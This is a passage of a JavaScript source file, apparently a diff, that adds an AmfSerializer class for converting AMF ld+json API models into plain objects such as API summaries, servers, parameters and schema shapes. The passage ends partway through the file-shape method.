+/** @typedef {import('./api').ApiDataArrangeShape} ApiDataArrangeShape */
+/** @typedef {import('./api').ApiXMLSerializer} ApiXMLSerializer */
+/** @typedef {import('./api').ApiDataNode} ApiDataNode */
+/** @typedef {import('./api').ApiScalarNode} ApiScalarNode */
+/** @typedef {import('./api').ApiObjectNode} ApiObjectNode */
+/** @typedef {import('./api').ApiArrayNode} ApiArrayNode */
+/** @typedef {import('./api').ApiSchemaShape} ApiSchemaShape */
+/** @typedef {import('./api').ApiArrayShape} ApiArrayShape */
+/** @typedef {import('./api').ApiTupleShape} ApiTupleShape */
+/** @typedef {import('./api').ApiShapeUnion} ApiShapeUnion */
+/** @typedef {import('./api').ApiSecuritySettings} ApiSecuritySettings */
+/** @typedef {import('./api').ApiSecurityOAuth1Settings} ApiSecurityOAuth1Settings */
+/** @typedef {import('./api').ApiSecurityOAuth2Settings} ApiSecurityOAuth2Settings */
+/** @typedef {import('./api').ApiSecurityApiKeySettings} ApiSecurityApiKeySettings */
+/** @typedef {import('./api').ApiSecurityHttpSettings} ApiSecurityHttpSettings */
+/** @typedef {import('./api').ApiSecurityOpenIdConnectSettings} ApiSecurityOpenIdConnectSettings */
+/** @typedef {import('./api').ApiSecurityOAuth2Flow} ApiSecurityOAuth2Flow */
+/** @typedef {import('./api').ApiSecuritySettingsUnion} ApiSecuritySettingsUnion */
+/** @typedef {import('./api').ApiSecurityScope} ApiSecurityScope */
+/** @typedef {import('./api').ApiIriTemplateMapping} ApiIriTemplateMapping */
+/** @typedef {import('./api').ApiCallback} ApiCallback */
+/** @typedef {import('./api').ApiDomainProperty} ApiDomainProperty */
+/** @typedef {import('./api').ApiCustomDomainProperty} ApiCustomDomainProperty */
+/** @typedef {import('./api').ApiRecursiveShape} ApiRecursiveShape */
+/** @typedef {import('./api').ApiTag} ApiTag */
+/** @typedef {import('./api').ApiDataNodeUnion} ApiDataNodeUnion */
+/** @typedef {import('./api').ApiDocumentSourceMaps} ApiDocumentSourceMaps */
+/** @typedef {import('./api').ApiSynthesizedField} ApiSynthesizedField */
+/** @typedef {import('./api').ApiParametrizedDeclaration} ApiParametrizedDeclaration */
+/** @typedef {import('./api').ApiParametrizedTrait} ApiParametrizedTrait */
+/** @typedef {import('./api').ApiParametrizedResourceType} ApiParametrizedResourceType */
+/** @typedef {import('./api').ApiVariableValue} ApiVariableValue */
+/** @typedef {import('./api').ApiAbstractDeclaration} ApiAbstractDeclaration */
+/** @typedef {import('./api').ShapeProcessingOptions} ShapeProcessingOptions */
+/** @typedef {import('./api').ApiSummary} ApiSummary */
+/** @typedef {import('./api').ApiOrganization} ApiOrganization */
+/** @typedef {import('./api').ApiLicense} ApiLicense */
+/** @typedef {import('./api').ApiBase} ApiBase */
+/** @typedef {import('./api').ApiWeb} ApiWeb */
+/** @typedef {import('./api').ApiAsync} ApiAsync */
+/** @typedef {import('./amf').Api} Api */
+/** @typedef {import('./amf').WebApi} WebApi */
+/** @typedef {import('./amf').AsyncApi} AsyncApi */
+/** @typedef {import('./amf').Server} Server */
+/** @typedef {import('./amf').Parameter} Parameter */
+/** @typedef {import('./amf').Shape} Shape */
+/** @typedef {import('./amf').ScalarShape} ScalarShape */
+/** @typedef {import('./amf').NodeShape} NodeShape */
+/** @typedef {import('./amf').UnionShape} UnionShape */
+/** @typedef {import('./amf').FileShape} FileShape */
+/** @typedef {import('./amf').SchemaShape} SchemaShape */
+/** @typedef {import('./amf').ArrayShape} ArrayShape */
+/** @typedef {import('./amf').TupleShape} TupleShape */
+/** @typedef {import('./amf').AnyShape} AnyShape */
+/** @typedef {import('./amf').DomainElement} DomainElement */
+/** @typedef {import('./amf').PropertyShape} PropertyShape */
+/** @typedef {import('./amf').DataArrangeShape} DataArrangeShape */
+/** @typedef {import('./amf').CreativeWork} CreativeWork */
+/** @typedef {import('./amf').Example} Example */
+/** @typedef {import('./amf').XMLSerializer} XMLSerializer */
+/** @typedef {import('./amf').DataNode} DataNode */
+/** @typedef {import('./amf').ScalarNode} ScalarNode */
+/** @typedef {import('./amf').ArrayNode} ArrayNode */
+/** @typedef {import('./amf').ObjectNode} ObjectNode */
+/** @typedef {import('./amf').RecursiveShape} RecursiveShape */
+/** @typedef {import('./amf').EndPoint} EndPoint */
+/** @typedef {import('./amf').Operation} Operation */
+/** @typedef {import('./amf').Callback} Callback */
+/** @typedef {import('./amf').Request} Request */
+/** @typedef {import('./amf').Response} Response */
+/** @typedef {import('./amf').Payload} Payload */
+/** @typedef {import('./amf').TemplatedLink} TemplatedLink */
+/** @typedef {import('./amf').IriTemplateMapping} IriTemplateMapping */
+/** @typedef {import('./amf').ParametrizedSecurityScheme} ParametrizedSecurityScheme */
+/** @typedef {import('./amf').SecurityScheme} SecurityScheme */
+/** @typedef {import('./amf').SecurityRequirement} SecurityRequirement */
+/** @typedef {import('./amf').Settings} Settings */
+/** @typedef {import('./amf').OAuth1Settings} OAuth1Settings */
+/** @typedef {import('./amf').OAuth2Settings} OAuth2Settings */
+/** @typedef {import('./amf').OAuth2Flow} OAuth2Flow */
+/** @typedef {import('./amf').Scope} Scope */
+/** @typedef {import('./amf').ApiKeySettings} ApiKeySettings */
+/** @typedef {import('./amf').HttpSettings} HttpSettings */
+/** @typedef {import('./amf').OpenIdConnectSettings} OpenIdConnectSettings */
+/** @typedef {import('./amf').Tag} Tag */
+/** @typedef {import('./amf').DocumentSourceMaps} DocumentSourceMaps */
+/** @typedef {import('./amf').SynthesizedField} SynthesizedField */
+/** @typedef {import('./amf').ParametrizedDeclaration} ParametrizedDeclaration */
+/** @typedef {import('./amf').ParametrizedTrait} ParametrizedTrait */
+/** @typedef {import('./amf').ParametrizedResourceType} ParametrizedResourceType */
+/** @typedef {import('./amf').VariableValue} VariableValue */
+/** @typedef {import('./amf').AbstractDeclaration} AbstractDeclaration */
+/** @typedef {import('./amf').Organization} Organization */
+/** @typedef {import('./amf').License} License */
+
+/**
+ * A class that takes AMF's ld+json model and outputs JavaScript interface of it.
+ */
+export class AmfSerializer extends AmfHelperMixin(Object) {
+  /**
+   * @param {DomainElement=} graph Optional AMF generated graph model.
+   */
+  constructor(graph) {
+    super();
+    if (graph) {
+      this.amf = graph;
+    }
+  }
+
+  /**
+   * @param {string[]} types The list of graph object types. When not defined it returns an empty array.
+   * @returns {string[]} The expanded types.
+   */
+  readTypes(types) {
+    let target = types;
+    if (typeof target === 'string') {
+      target = [target];
+    }
+    if (!Array.isArray(target)) {
+      return [];
+    }
+    return target.map(this[expandKey].bind(this));
+  }
+
+  /**
+   * @param {Api} object The API to serialize.
+   * @returns {ApiSummary} API summary, without complex objects.
+   */
+  apiSummary(object) {
+    const result = /** @type ApiSummary */ ({
+      id: object['@id'],
+      types: this.readTypes(object['@type']),
+      customDomainProperties: this.customDomainProperties(object),
+      sourceMaps: this.sourceMap(object),
+      schemes: [],
+      accepts: [],
+      contentType: [],
+      documentations: [],
+      tags: [],
+    });
+    const { ns } = this;
+    const name = this._getValue(object, ns.aml.vocabularies.core.name);
+    if (name && typeof name === 'string') {
+      result.name = name;
+    }
+    const description = this._getValue(object, ns.aml.vocabularies.core.description);
+    if (description && typeof description === 'string') {
+      result.description = description;
+    }
+    const version = this._getValue(object, ns.aml.vocabularies.core.version);
+    if (version && typeof version === 'string') {
+      result.version = version;
+    }
+    const termsOfService = this._getValue(object, ns.aml.vocabularies.core.termsOfService);
+    if (termsOfService && typeof termsOfService === 'string') {
+      result.termsOfService = termsOfService;
+    }
+    const accepts = object[this._getAmfKey(ns.aml.vocabularies.apiContract.accepts)];
+    if (Array.isArray(accepts) && accepts.length) {
+      result.accepts = /** @type string[] */ (this._getValueArray(object, ns.aml.vocabularies.apiContract.accepts));
+    }
+    const contentType = object[this._getAmfKey(ns.aml.vocabularies.apiContract.contentType)];
+    if (Array.isArray(contentType) && contentType.length) {
+      result.contentType = /** @type string[] */ (this._getValueArray(object, ns.aml.vocabularies.apiContract.contentType));
+    }
+    const schemes = object[this._getAmfKey(ns.aml.vocabularies.apiContract.scheme)];
+    if (Array.isArray(schemes) && schemes.length) {
+      result.schemes = /** @type string[] */ (this._getValueArray(object, ns.aml.vocabularies.apiContract.scheme));
+    }
+    let provider = object[this._getAmfKey(ns.aml.vocabularies.core.provider)];
+    if (Array.isArray(provider)) {
+      [provider] = provider;
+    }
+    if (provider) {
+      result.provider = this.provider(provider);
+    }
+    let license = object[this._getAmfKey(ns.aml.vocabularies.core.license)];
+    if (Array.isArray(license)) {
+      [license] = license;
+    }
+    if (license) {
+      result.license = this.license(license);
+    }
+    const tags = object[this._getAmfKey(ns.aml.vocabularies.apiContract.tag)];
+    if (Array.isArray(tags) && tags.length) {
+      result.tags = tags.map(t => this.tag(t));
+    }
+    const docs = object[this._getAmfKey(ns.aml.vocabularies.core.documentation)];
+    if (Array.isArray(docs) && docs.length) {
+      result.documentations = docs.map(d => this.documentation(d));
+    }
+    return result;
+  }
+
+  /**
+   * @param {Api} object 
+   * @returns {ApiBase}
+   */
+  api(object) {
+    const result = /** @type ApiBase */ (this.apiSummary(object));
+    result.endPoints = [];
+    result.servers = [];
+    result.security = [];
+    const { ns } = this;
+    const endPoints = object[this._getAmfKey(ns.aml.vocabularies.apiContract.endpoint)];
+    if (Array.isArray(endPoints) && endPoints.length) {
+      result.endPoints = endPoints.map(e => this.endPoint(e));
+    }
+    const servers = object[this._getAmfKey(ns.aml.vocabularies.apiContract.server)];
+    if (Array.isArray(servers) && servers.length) {
+      result.servers = servers.map(s => this.server(s));
+    }
+    const security = object[this._getAmfKey(ns.aml.vocabularies.security.security)];
+    if (Array.isArray(security) && security.length) {
+      result.security = security.map(s => this.securityRequirement(s));
+    }
+    return result;
+  }
+
+  /**
+   * @param {WebApi} object 
+   * @returns {ApiWeb}
+   */
+  webApi(object) {
+    return this.api(object);
+  }
+
+  /**
+   * @param {AsyncApi} object 
+   * @returns {ApiAsync}
+   */
+  asyncApi(object) {
+    return this.api(object);
+  }
+
+  /**
+   * @param {Organization} object
+   * @returns {ApiOrganization}
+   */
+  provider(object) {
+    const result = /** @type ApiOrganization */ ({
+      id: object['@id'],
+      types: this.readTypes(object['@type']),
+      customDomainProperties: this.customDomainProperties(object),
+      sourceMaps: this.sourceMap(object),
+    });
+    const { ns } = this;
+    const name = this._getValue(object, ns.aml.vocabularies.core.name);
+    if (name && typeof name === 'string') {
+      result.name = name;
+    }
+    const url = this._getLinkValue(object, ns.aml.vocabularies.core.url);
+    if (url && typeof url === 'string') {
+      result.url = url;
+    }
+    const email = this._getValue(object, ns.aml.vocabularies.core.email);
+    if (email && typeof email === 'string') {
+      result.email = email;
+    }
+    return result;
+  }
+
+  /**
+   * @param {License} object
+   * @returns {ApiLicense}
+   */
+  license(object) {
+    const result = /** @type ApiLicense */ ({
+      id: object['@id'],
+      types: this.readTypes(object['@type']),
+      customDomainProperties: this.customDomainProperties(object),
+      sourceMaps: this.sourceMap(object),
+    });
+    const { ns } = this;
+    const name = this._getValue(object, ns.aml.vocabularies.core.name);
+    if (name && typeof name === 'string') {
+      result.name = name;
+    }
+    const url = this._getLinkValue(object, ns.aml.vocabularies.core.url);
+    if (url && typeof url === 'string') {
+      result.url = url;
+    }
+    return result;
+  }
+
+  /**
+   * @param {Server} object The AMF Server to serialize.
+   * @returns {ApiServer} Serialized Server
+   */
+  server(object) {
+    const { ns } = this;
+    const url = this._getValue(object, ns.aml.vocabularies.core.urlTemplate) || '';
+    const result = /** @type ApiServer */ ({
+      id: object['@id'],
+      types: this.readTypes(object['@type']),
+      url,
+      variables: [],
+      customDomainProperties: this.customDomainProperties(object),
+      sourceMaps: this.sourceMap(object),
+    });
+    const description = this._getValue(object, ns.aml.vocabularies.core.description);
+    if (description && typeof description === 'string') {
+      result.description = description;
+    }
+    const variables = /** @type Parameter[] */ (object[this._getAmfKey(ns.aml.vocabularies.apiContract.variable)]);
+    if (Array.isArray(variables) && variables.length) {
+      result.variables = variables.map((p) => this.parameter(p));
+    }
+    const protocol = /** @type string */ (this._getValue(object, ns.aml.vocabularies.apiContract.protocol));
+    const protocolVersion = /** @type string */ (this._getValue(object, ns.aml.vocabularies.apiContract.protocolVersion));
+    if (protocol) {
+      result.protocol = protocol;
+    }
+    if (protocolVersion) {
+      result.protocolVersion = protocolVersion;
+    }
+    const security = /** @type SecurityRequirement */ (object[this._getAmfKey(ns.aml.vocabularies.security.security)]);
+    if (Array.isArray(security) && security.length) {
+      result.security = security.map((p) => this.securityRequirement(p));
+    }
+    return result;
+  }
+
+  /**
+   * @param {Parameter} object The Parameter to serialize.
+   * @returns {ApiParameter} Serialized Parameter
+   */
+  parameter(object) {
+    const result = /** @type ApiParameter */ ({
+      id: object['@id'],
+      types: this.readTypes(object['@type']),
+      payloads: [],
+      examples: [],
+      customDomainProperties: this.customDomainProperties(object),
+      sourceMaps: this.sourceMap(object),
+    });
+    const { ns } = this;
+    const name = this._getValue(object, ns.aml.vocabularies.core.name);
+    if (name && typeof name === 'string') {
+      result.name = name;
+    }
+    const paramName = this._getValue(object, ns.aml.vocabularies.apiContract.paramName);
+    if (paramName && typeof paramName === 'string') {
+      result.paramName = paramName;
+    }
+    const description = this._getValue(object, ns.aml.vocabularies.core.description);
+    if (description && typeof description === 'string') {
+      result.description = description;
+    }
+    const required = this._getValue(object, ns.aml.vocabularies.apiContract.required);
+    if (typeof required === 'boolean') {
+      result.required = required;
+    }
+    const allowEmptyValue = this._getValue(object, ns.aml.vocabularies.apiContract.allowEmptyValue);
+    if (typeof allowEmptyValue === 'boolean') {
+      result.allowEmptyValue = allowEmptyValue;
+    }
+    const deprecated = this._getValue(object, ns.aml.vocabularies.document.deprecated);
+    if (typeof deprecated === 'boolean') {
+      result.deprecated = deprecated;
+    }
+    const explode = this._getValue(object, ns.aml.vocabularies.apiContract.explode);
+    if (typeof explode === 'boolean') {
+      result.explode = explode;
+    }
+    const allowReserved = this._getValue(object, ns.aml.vocabularies.apiContract.allowReserved);
+    if (typeof allowReserved === 'boolean') {
+      result.allowReserved = allowReserved;
+    }
+    const style = this._getValue(object, ns.aml.vocabularies.apiContract.style);
+    if (style && typeof style === 'string') {
+      result.style = style;
+    }
+    const binding = this._getValue(object, ns.aml.vocabularies.apiContract.binding);
+    if (binding && typeof binding === 'string') {
+      result.binding = binding;
+    }
+    const schemas = object[this._getAmfKey(ns.aml.vocabularies.shapes.schema)];
+    if (Array.isArray(schemas) && schemas.length) {
+      const [schema] = schemas;
+      result.schema = this.unknownShape(schema, {
+        trackedId: object['@id'],
+      });
+    }
+    const payloads = object[this._getAmfKey(ns.aml.vocabularies.apiContract.payload)];
+    if (Array.isArray(payloads) && payloads.length) {
+      result.payloads = payloads.map(p => this.payload(p));
+    }
+    const examples = object[this._getAmfKey(ns.aml.vocabularies.apiContract.examples)];
+    if (Array.isArray(examples) && examples.length) {
+      result.examples = examples.map(e => this.example(e));
+    }
+    return result;
+  }
+
+  /**
+   * @param {Shape} object 
+   * @param {ShapeProcessingOptions=} options 
+   * @returns {ApiShapeUnion}
+   */
+  unknownShape(object, options) {
+    const types = this.readTypes(object['@type']);
+    const { ns } = this;
+    if (types.includes(ns.aml.vocabularies.shapes.ScalarShape)) {
+      return this.scalarShape(/** @type ScalarShape */ (object), options);
+    }
+    if (types.includes(ns.w3.shacl.NodeShape)) {
+      return this.nodeShape(/** @type NodeShape */ (object), options);
+    }
+    if (types.includes(ns.aml.vocabularies.shapes.UnionShape)) {
+      return this.unionShape(/** @type UnionShape */ (object), options);
+    }
+    if (types.includes(ns.aml.vocabularies.shapes.FileShape)) {
+      return this.fileShape(/** @type FileShape */ (object), options);
+    }
+    if (types.includes(ns.aml.vocabularies.shapes.SchemaShape)) {
+      return this.schemaShape(/** @type SchemaShape */ (object), options);
+    }
+    // this must be before the ArrayShape
+    if (types.includes(ns.aml.vocabularies.shapes.TupleShape)) {
+      return this.tupleShape(/** @type TupleShape */ (object), options);
+    }
+    if (types.includes(ns.aml.vocabularies.shapes.ArrayShape) || types.includes(ns.aml.vocabularies.shapes.MatrixShape)) {
+      return this.arrayShape(/** @type ArrayShape */ (object), options);
+    }
+    if (types.includes(ns.aml.vocabularies.shapes.RecursiveShape)) {
+      return this.recursiveShape(/** @type RecursiveShape */ (object));
+    }
+    // recursiveShape
+    return this.anyShape(/** @type AnyShape */ (object), options);
+  }
+
+  /**
+   * @param {DomainElement} object 
+   * @returns {boolean}
+   */
+  isLink(object) {
+    return !!this._getLinkValue(object, this.ns.aml.vocabularies.document.linkTarget);
+  }
+
+  /**
+   * @param {DomainElement} object 
+   * @returns {DomainElement|undefined}
+   */
+  getLinkTarget(object) {
+    const id = this._getLinkValue(object, this.ns.aml.vocabularies.document.linkTarget);
+    return this[findAmfType](id);
+  }
+
+  /**
+   * @param {Shape} object 
+   * @returns {ApiShape}
+   */
+  shape(object) {
+    this._resolve(object);
+    /** @type string */
+    let linkLabel;
+    let target = object;
+    if (this.isLink(target)) {
+      linkLabel = /** @type string */ (this._getValue(target, this.ns.aml.vocabularies.document.linkLabel));
+      const id = this._getLinkValue(target, this.ns.aml.vocabularies.document.linkTarget);
+      const value = /** @type Shape */ (this[findAmfType](id));
+      if (value) {
+        target = value;
+      }
+    }
+    const result = /** @type ApiShape */ ({
+      id: target['@id'],
+      types: this.readTypes(object['@type']),
+      values: [],
+      inherits: [],
+      or: [],
+      and: [],
+      xone: [],
+      customDomainProperties: this.customDomainProperties(object),
+      sourceMaps: this.sourceMap(object),
+    });
+    if (linkLabel) {
+      result.linkLabel = linkLabel;
+    }
+    const { ns } = this;
+    const name = this._getValue(target, ns.w3.shacl.name);
+    if (name && typeof name === 'string') {
+      result.name = name;
+    }
+    const displayName = this._getValue(target, ns.aml.vocabularies.core.displayName);
+    if (displayName && typeof displayName === 'string') {
+      result.displayName = displayName;
+    } else {
+      const coreName = this._getValue(target, ns.aml.vocabularies.core.name);
+      if (coreName && typeof coreName === 'string') {
+        result.displayName = coreName;
+      }
+    }
+    const description = this._getValue(target, ns.aml.vocabularies.core.description);
+    if (description && typeof description === 'string') {
+      result.description = description;
+    }
+    const defaultValueStr = this._getValue(target, ns.w3.shacl.defaultValueStr);
+    if (defaultValueStr && typeof defaultValueStr === 'string') {
+      result.defaultValueStr = defaultValueStr;
+    }
+    const deprecated = this._getValue(target, ns.aml.vocabularies.shapes.deprecated);
+    if (typeof deprecated === 'boolean') {
+      result.deprecated = deprecated;
+    }
+    const readOnly = this._getValue(target, ns.aml.vocabularies.shapes.readOnly);
+    if (typeof readOnly === 'boolean') {
+      result.readOnly = readOnly;
+    }
+    const writeOnly = this._getValue(target, ns.aml.vocabularies.shapes.writeOnly);
+    if (typeof writeOnly === 'boolean') {
+      result.writeOnly = writeOnly;
+    }
+    const defValue = target[this._getAmfKey(ns.w3.shacl.defaultValue)];
+    if (Array.isArray(defValue) && defValue.length) {
+      result.defaultValue = this.unknownDataNode(defValue[0]);
+    }
+    // @TODO:
+    // if (Array.isArray(inherits) && inherits.length) {
+    //   result.inherits = inherits.map((item) => this.unknownShape(item));
+    // }
+    const orKey = this._getAmfKey(ns.w3.shacl.or);
+    const orGroup = /** @type Shape[] */ (target[orKey]);
+    if (Array.isArray(orGroup) && orGroup.length) {
+      result.or = orGroup.map((item) => this.unknownShape(item));
+    }
+    const andKey = this._getAmfKey(ns.w3.shacl.and);
+    const andGroup = /** @type Shape[] */ (target[andKey]);
+    if (Array.isArray(andGroup) && andGroup.length) {
+      result.and = andGroup.map((item) => this.unknownShape(item));
+    }
+    const xoneKey = this._getAmfKey(ns.w3.shacl.xone);
+    const xone = /** @type Shape[] */ (target[xoneKey]);
+    if (Array.isArray(xone) && xone.length) {
+      result.xone = xone.map((item) => this.unknownShape(item));
+    }
+    const valuesList = target[this._getAmfKey(ns.w3.shacl.in)];
+    if (Array.isArray(valuesList) && valuesList.length) {
+      const [values] = valuesList;
+      const prefix = this.ns.w3.rdfSchema.toString();
+      const prefixCompact = this._getAmfKey(prefix);
+      Object.keys(values).forEach((key) => {
+        if (key.startsWith(prefix) || key.startsWith(prefixCompact)) {
+          let value = values[key];
+          if (Array.isArray(value)) {
+            [value] = value;
+          }
+          const processed = this.unknownDataNode(value);
+          result.values.push(processed);
+        }
+      });
+    }
+    const notKey = this._getAmfKey(ns.w3.shacl.not);
+    let not = /** @type Shape */ (target[notKey]);
+    if (not) {
+      if (Array.isArray(not)) {
+        [not] = not;
+      }
+      result.not = this.unknownShape(not);
+    }
+    return result;
+  }
+
+  /**
+   * @param {AnyShape} object
+   * @param {ShapeProcessingOptions=} options 
+   * @returns {ApiAnyShape}
+   */
+  anyShape(object, options={}) {
+    let target = object;
+    const result = /** @type ApiAnyShape */ (this.shape(target));
+    if (this.isLink(target)) {
+      const value = /** @type Shape */ (this.getLinkTarget(target));
+      if (value) {
+        target = value;
+      }
+    }
+    result.examples = [];
+
+    const { ns } = this;
+    const examples = target[this._getAmfKey(ns.aml.vocabularies.apiContract.examples)];
+    if (Array.isArray(examples) && examples.length) {
+      if (options.trackedId) {
+        const filtered = this.filterTrackedExamples(examples, options.trackedId);
+        result.examples = filtered.map((item) => this.example(item));
+      } else {
+        const filtered = this.filterNonTrackedExamples(examples);
+        result.examples = filtered.map((item) => this.example(item));
+      }
+    }
+    const docs = target[this._getAmfKey(ns.aml.vocabularies.core.documentation)];
+    if (Array.isArray(docs) && docs.length) {
+      const [documentation] = docs;
+      result.documentation = this.documentation(documentation);
+    }
+    const xml = target[this._getAmfKey(ns.aml.vocabularies.shapes.xmlSerialization)];
+    if (Array.isArray(xml) && xml.length) {
+      result.xmlSerialization = this.xmlSerializer(xml[0]);
+    }
+    return result;
+  }
+
+  /**
+   * Filters examples that should be rendered for a payload identified by `trackedId`.
+   * 
+   * This function is copied from old `api-example-generator/ExampleGenerator`.
+   * 
+   * @param {Example[]} examples 
+   * @param {string} trackedId 
+   * @returns {Example[]}
+   */
+  filterTrackedExamples(examples, trackedId) {
+    const { docSourceMaps } = this.ns.raml.vocabularies;
+    const sourceKey = this._getAmfKey(docSourceMaps.sources);
+    const trackedKey = this._getAmfKey(docSourceMaps.trackedElement);
+    const longId = trackedId.indexOf('amf') === -1 ? `amf://id${trackedId}` : trackedId;
+    return examples.filter((item) => {
+      let example = item;
+      if (Array.isArray(example)) {
+        [example] = example;
+      }
+      let sm = example[sourceKey];
+      if (!sm) {
+        return true
+      }
+      if (Array.isArray(sm)) {
+        [sm] = sm;
+      }
+      let tracked = sm[trackedKey];
+      if (!tracked) {
+        return true;
+      }
+      if (Array.isArray(tracked)) {
+        [tracked] = tracked;
+      }
+      const { value } = this.synthesizedField(tracked);
+      if (!value) {
+        return true;
+      }
+      const ids = value.split(',');
+      if (ids.indexOf(longId) !== -1 || ids.indexOf(trackedId) !== -1) {
+        return true;
+      }
+      return false;
+    });
+  }
+
+  /**
+   * Kind of the opposite of the `filterTrackedExamples`. It gathers examples that only have been 
+   * defined for the parent Shape (ed in the type declaration). It filters out all examples
+   * defined in a payload.
+   * 
+   * @param {Example[]} examples 
+   * @returns {Example[]}
+   */
+  filterNonTrackedExamples(examples) {
+    const { docSourceMaps } = this.ns.raml.vocabularies;
+    const sourceKey = this._getAmfKey(docSourceMaps.sources);
+    const trackedKey = this._getAmfKey(docSourceMaps.trackedElement);
+    return examples.filter((item) => {
+      let example = item;
+      if (Array.isArray(example)) {
+        [example] = example;
+      }
+      let sm = example[sourceKey];
+      if (!sm) {
+        return true
+      }
+      if (Array.isArray(sm)) {
+        [sm] = sm;
+      }
+      let tracked = sm[trackedKey];
+      if (!tracked) {
+        return true;
+      }
+      if (Array.isArray(tracked)) {
+        [tracked] = tracked;
+      }
+      const { value } = this.synthesizedField(tracked);
+      if (!value) {
+        return true;
+      }
+      return false;
+    });
+  }
+
+  /**
+   * @param {ScalarShape} object
+   * @param {ShapeProcessingOptions=} options 
+   * @returns {ApiScalarShape}
+   */
+  scalarShape(object, options={}) {
+    let target = object;
+    const result = /** @type ApiScalarShape */ (this.anyShape(target, options));
+    if (this.isLink(target)) {
+      const value = /** @type ScalarShape */ (this.getLinkTarget(target));
+      if (value) {
+        target = value;
+      }
+    }
+    const { ns } = this;
+    const pattern = this._getValue(target, ns.w3.shacl.pattern);
+    if (pattern && typeof pattern === 'string') {
+      result.pattern = pattern;
+    }
+    const dataType = this._getLinkValue(target, ns.w3.shacl.datatype);
+    if (dataType && typeof dataType === 'string') {
+      result.dataType = dataType;
+    }
+    const format = this._getValue(target, ns.aml.vocabularies.shapes.format);
+    if (format && typeof format === 'string') {
+      result.format = format;
+    }
+    const multipleOf = this._getValue(target, ns.aml.vocabularies.shapes.multipleOf);
+    if (typeof multipleOf === 'number') {
+      result.multipleOf = multipleOf;
+    }
+    const minInclusive = this._getValue(target, ns.w3.shacl.minInclusive);
+    if (typeof minInclusive === 'number') {
+      result.minimum = minInclusive;
+      result.exclusiveMinimum = false;
+    }
+    const maxInclusive = this._getValue(target, ns.w3.shacl.maxInclusive);
+    if (typeof maxInclusive === 'number') {
+      result.maximum = maxInclusive;
+      result.exclusiveMaximum = false;
+    }
+    const minLength = this._getValue(target, ns.w3.shacl.minLength);
+    if (typeof minLength === 'number') {
+      result.minLength = minLength;
+    }
+    const maxLength = this._getValue(target, ns.w3.shacl.maxLength);
+    if (typeof maxLength === 'number') {
+      result.maxLength = maxLength;
+    }
+    return result;
+  }
+
+  /**
+   * @param {NodeShape} object The NodeShape to serialize
+   * @param {ShapeProcessingOptions=} options 
+   * @returns {ApiNodeShape}
+   */
+  nodeShape(object, options={}) {
+    let target = object;
+    const result = /** @type ApiNodeShape */ (this.anyShape(target, options));
+    if (this.isLink(target)) {
+      const value = /** @type NodeShape */ (this.getLinkTarget(target));
+      if (value) {
+        target = value;
+      }
+    }
+    const { ns } = this;
+    const discriminator = this._getValue(target, ns.aml.vocabularies.shapes.discriminator);
+    if (discriminator && typeof discriminator === 'string') {
+      result.discriminator = discriminator;
+    }
+    const discriminatorValue = this._getValue(target, ns.aml.vocabularies.shapes.discriminatorValue);
+    if (discriminatorValue && typeof discriminatorValue === 'string') {
+      result.discriminatorValue = discriminatorValue;
+    }
+    const closed = this._getValue(target, ns.w3.shacl.closed);
+    if (typeof closed === 'boolean') {
+      result.closed = closed;
+    }
+
+    result.customShapeProperties = [];
+    result.customShapePropertyDefinitions = [];
+    result.dependencies = [];
+    // todo: not sure what the keys are.
+    // if (!minProperties.isNull) {
+    //   result.minProperties = minProperties.value();
+    // }
+    // if (!maxProperties.isNull) {
+    //   result.maxProperties = maxProperties.value();
+    // }
+    // if (Array.isArray(customShapeProperties) && customShapeProperties.length) {
+    //   result.customShapeProperties = customShapeProperties.map((item) => item.id);
+    // } else {
+    //   result.customShapeProperties = [];
+    // }
+    // if (Array.isArray(customShapePropertyDefinitions) && customShapePropertyDefinitions.length) {
+    //   result.customShapePropertyDefinitions = customShapePropertyDefinitions.map((item) => item.id);
+    // } else {
+    //   result.customShapePropertyDefinitions = [];
+    // }
+    const properties = /** @type PropertyShape[] */ (target[this._getAmfKey(ns.w3.shacl.property)]);
+    if (Array.isArray(properties) && properties.length) {
+      result.properties = properties.map((item) => this.propertyShape(item));
+    } else {
+      result.properties = [];
+    }
+    // if (Array.isArray(dependencies) && dependencies.length) {
+    //   result.dependencies = dependencies.map((item) => item.id);
+    // } else {
+    //   result.dependencies = [];
+    // }
+    return result;
+  }
+
+  /**
+   * @param {PropertyShape} object 
+   * @returns {ApiPropertyShape}
+   */
+  propertyShape(object) {
+    let target = object;
+    const result = /** @type ApiPropertyShape */ (this.shape(target));
+    if (this.isLink(target)) {
+      const value = /** @type PropertyShape */ (this.getLinkTarget(target));
+      if (value) {
+        target = value;
+      }
+    }
+    const { ns } = this;
+    const path = this._getLinkValue(target, ns.w3.shacl.path);
+    if (path && typeof path === 'string') {
+      result.path = path;
+    }
+    const minCount = this._getValue(target, ns.w3.shacl.minCount);
+    if (typeof minCount === 'number') {
+      result.minCount = minCount;
+    }
+    const maxCount = this._getValue(target, ns.w3.shacl.maxCount);
+    if (typeof maxCount === 'number') {
+      result.maxCount = maxCount;
+    }
+    // if (!patternName.isNullOrEmpty) {
+    //   result.patternName = patternName.value();
+    // }
+    
+    const ranges = /** @type Shape[] */ (target[this._getAmfKey(ns.aml.vocabularies.shapes.range)]);
+    if (Array.isArray(ranges) && ranges.length) {
+      const [range] = ranges;
+      result.range = this.unknownShape(range);
+    }
+    return result;
+  }
+
+  /**
+   * @param {UnionShape} object
+   * @param {ShapeProcessingOptions=} options 
+   * @returns {ApiUnionShape}
+   */
+  unionShape(object, options={}) {
+    const anyOf = /** @type Shape[] */ (object[this._getAmfKey(this.ns.aml.vocabularies.shapes.anyOf)]);
+    const result = /** @type ApiUnionShape */ (this.anyShape(object, options));
+    if (Array.isArray(anyOf) && anyOf.length) {
+      const opt = { ...options, trackedId: undefined };
+      result.anyOf = anyOf.map((shape) => this.unknownShape(shape, opt));
+    } else {
+      result.anyOf = [];
+    }
+    return result;
+  }
+
+  /**
+   * @param {FileShape} object
+   * @param {ShapeProcessingOptions=} options 
+   * @returns {ApiFileShape}
+   */
+  fileShape(object, options={}) {
+    let target = object;
+    const result = /** @type ApiFileShape */ (this.anyShape(target, options));
+    if (this.isLink(target)) {
+      const value = /** @type FileShape */ (this.getLinkTarget(target));
+      if (value) {
+        target = value;
+      }
+    }
+    const { ns } = this;
+    const pattern = this._getValue(target, ns.w3.shacl.pattern);
+    if (pattern && typeof pattern === 'string') {
+      result.pattern = pattern;
+    }
+    const fileTypes = /** @type string[] */ (this._getValueArray(target, ns.aml.vocabularies.shapes.fileType));
+    if (Array.isArray(fileTypes) && fileTypes.length) {
+      result.fileTypes = fileTypes;
+    }
